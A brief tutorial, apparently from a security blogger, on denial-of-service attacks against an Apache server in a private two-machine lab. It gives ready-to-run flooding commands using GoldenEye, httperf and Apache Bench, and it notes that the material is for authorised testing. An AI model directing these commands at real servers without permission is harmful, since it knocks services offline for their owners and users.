Disclaimer: This tutorial is for educational purposes only and is

not intended to be put into practise unless you have authorised

access to the system you are trying to break into)

● What is DOS

● Types OF DOS attack

Today we will cover the following points

● Prerequisite to DOS tools

● performing DOS Attacks

● AB(apache benchmark)

● Httperf t

● Golden eye

● little knowledge of Linux

● Working internet connection

● 2 machines

● Tools like ab,httperf,goldeneye

Our Setup :-

Web server ip :- 10.0.9.1 (Apache on centos)

Attacker ip is :- 10.0.9.2 (kali Linux)

Using Golden Eye

Command

./goldeneye.py http://10.0.9.1/users/login -m random

Descriptioneven this is enough to test DOS attack, This command will attack on server with random method i.e get and post with 10 worker and 500 concurrent connection

httperf is a tool by hp for load testing of web

server.

commandhttperf --server 10.0.9.1 --port 80 --uri /users/login/ -

-num-conn 1000 --rate 100

ab(Apache Benchmark) well known tool for benchmarking

apache web server its really easy to use.

Command

ab -n 1000 -c 10

http://10.0.9.1/users/logins

@S3curityB3ast

https://www.breakthesec.com

https://www.youtube.com/user/hackerkaustu

bh